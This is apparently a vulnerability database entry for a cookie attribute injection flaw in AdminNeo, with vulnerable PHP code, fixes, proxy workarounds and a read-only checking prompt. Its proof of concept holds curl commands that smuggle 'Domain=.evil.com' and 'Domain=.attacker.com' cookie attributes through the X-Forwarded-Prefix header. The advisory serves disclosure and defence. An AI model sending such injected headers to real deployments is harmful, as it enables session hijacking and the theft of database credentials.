# CVE-2026-96631: AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-113, CWE-20
- **Aliases:** GHSA-79wv-8rh2-9vp2
- **Published:** 2026-10-30T22:52:47.000Z
- **Modified:** 2026-10-30T23:00:04.344Z

## Who should check

- Projects that depend on Packagist package adminneo-org/adminneo (\>= 4.6.0, \< 5.5.1)

## Description

\#\#\# Summary

AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the \`X-Forwarded-Prefix\` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including \`Domain\`, \`Path\`, \`Secure\`, and \`SameSite\` into all \`Set-Cookie\` response headers emitted by AdminNeo.

This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., \`Domain=.evil.com\`), causing the victim's browser to send AdminNeo's \`neo\_sid\` (session ID) and \`neo\_key\` (database password encryption key) cookies to the attacker's server on subsequent requests.

Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h

\#\#\# Vulnerable Code

\*\*Root cause 1 - Unsanitized header prepended to \`REQUEST\_URI\`\*\*
(\`admin/include/bootstrap.inc.php\`, lines 50–52):

\`\`\`php
if ($\_SERVER\["HTTP\_X\_FORWARDED\_PREFIX"\]) {
	$\_SERVER\["REQUEST\_URI"\] = $\_SERVER\["HTTP\_X\_FORWARDED\_PREFIX"\] . $\_SERVER\["REQUEST\_URI"\];
}
\`\`\`

The client-supplied \`X-Forwarded-Prefix\` header is concatenated into \`REQUEST\_URI\` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).

\*\*Root cause 2 - Manual \`Set-Cookie \`header construction without escaping\*\*
(\`admin/include/functions.inc.php\`, lines 416–424):

\`\`\`php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg\_replace('~\\?.\*~', '', $\_SERVER\["REQUEST\_URI"\])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}
\`\`\`

The tainted \`REQUEST\_URI\` is interpolated directly into the \`path=\` attribute of the \`Set-Cookie\` header. Since semicolons are not stripped or escaped, any \`;\`-separated directives injected via \`X-Forwarded-Prefix\` become valid cookie attributes parsed by the browser.

\*\*Root cause 3 - Session cookie also tainted\*\*
(\`admin/include/bootstrap.inc.php\`, line 61):

\`\`\`php
session\_set\_cookie\_params(0, preg\_replace('~\\?.\*~', '', $\_SERVER\["REQUEST\_URI"\]), "", HTTPS, true);
\`\`\`

The PHP session cookie (\`neo\_sid\`) path is similarly derived from the tainted \`REQUEST\_URI\`, extending the same vulnerability to the session cookie set by PHP itself.

\#\#\# Impact

- \*\*Session hijacking:\*\* The \`neo\_sid\` session cookie is sent to the attacker's domain, allowing full session takeover.
- \*\*Credential theft:\*\* The \`neo\_key\` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
- \*\*Session fixation:\*\* An attacker can inject arbitrary \`Path\`, \`SameSite\`, and \`Secure\` attributes, manipulating cookie behavior.
- \*\*Wide applicability:\*\* The \`X-Forwarded-Prefix\` header was specifically added to support reverse proxy deployments (Traefik \`PathPrefixStrip\`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

\#\#\# Affected Cookies

\|\*\*Cookie\*\*\|\*\*Content\*\*\|\*\*Risk\*\*\|
\|\`neo\_sid\`\|PHP session ID\|Session hijacking\|
\|\`neo\_key\`\|Encryption key for stored DB passwords\|Credential theft\|
\|\`neo\_settings\`\|User preferences\|Low (information disclosure)\|

\#\#\# Proof of Concept

\`\`\`shell
\# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php \| grep -i set-cookie
\> Response: Set-Cookie: neo\_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

\# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \\
  http://localhost:8080/adminneo/index.php \| grep -i set-cookie
\> Response: Set-Cookie: neo\_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
\#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

\# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \\
  http://localhost:8080/adminneo/index.php \| grep -i set-cookie
\> Response Set-Cookie: neo\_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
\`\`\`

\#\#\# Recommended Fix

1. \*\*Sanitize \`X-Forwarded-Prefix\`:\*\* Strip or reject semicolons, newlines, and other HTTP header metacharacters from the \`X-Forwarded-Prefix\` value before using it.
2. \*\*Use \`setcookie()\` / \`setrawcookie()\`:\*\* Replace the manual \`header("Set-Cookie: ...")\` construction in \`cookie()\` with PHP's built-in \`setcookie()\` function, which properly escapes attribute values.
3. \*\*Validate \`REQUEST\_URI\` before cookie use:\*\* After any prefix manipulation, strip characters that are invalid in a cookie \`path\` attribute (\`;\`, \`,\`, whitespace per RFC 6265).

\`\`\`php
// Example fix for bootstrap.inc.php:
if ($\_SERVER\["HTTP\_X\_FORWARDED\_PREFIX"\]) {
    $prefix = preg\_replace('~\[;\\r\\n\].\*~', '', $\_SERVER\["HTTP\_X\_FORWARDED\_PREFIX"\]);
    $\_SERVER\["REQUEST\_URI"\] = $prefix . $\_SERVER\["REQUEST\_URI"\];
}
\`\`\`

\#\#\# Server Based Workaround Via Config

Configure the reverse proxy to set \`X-Forwarded-Prefix\` to a static, trusted value rather than forwarding the client-supplied header:

\`\`\`nginx
\# nginx — secure configuration:
fastcgi\_param HTTP\_X\_FORWARDED\_PREFIX /adminneo;  \# static value, not $http\_x\_forwarded\_prefix
\`\`\`

\`\`\`yaml
\# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"
\`\`\`

## Affected and fixed versions

- Packagist `adminneo-org/adminneo`: affected \>= 4.6.0, \< 5.5.1; fixed 5.5.1 (osv)

## Mitigation

- Upgrade adminneo-org/adminneo to 5.5.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-96631. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-96631.md
Affected: adminneo-org/adminneo >= 4.6.0, < 5.5.1
Fixed in: 5.5.1

Steps:
1. Search this machine and project for adminneo-org/adminneo (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-96631 being exploited?

There is no confirmed exploitation: CVE-2026-96631 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-96631?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2026-96631?

adminneo-org/adminneo \>= 4.6.0, \< 5.5.1.

### Is there a fix for CVE-2026-96631?

Yes. Fixed in 5.5.1. Upgrade adminneo-org/adminneo to 5.5.1 or later.

### How do I check if I'm affected by CVE-2026-96631?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2>
- patch: <https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64>
- other: <https://github.com/adminneo-org/adminneo>
- other: <https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-79wv-8rh2-9vp2> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-96631> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-96631>
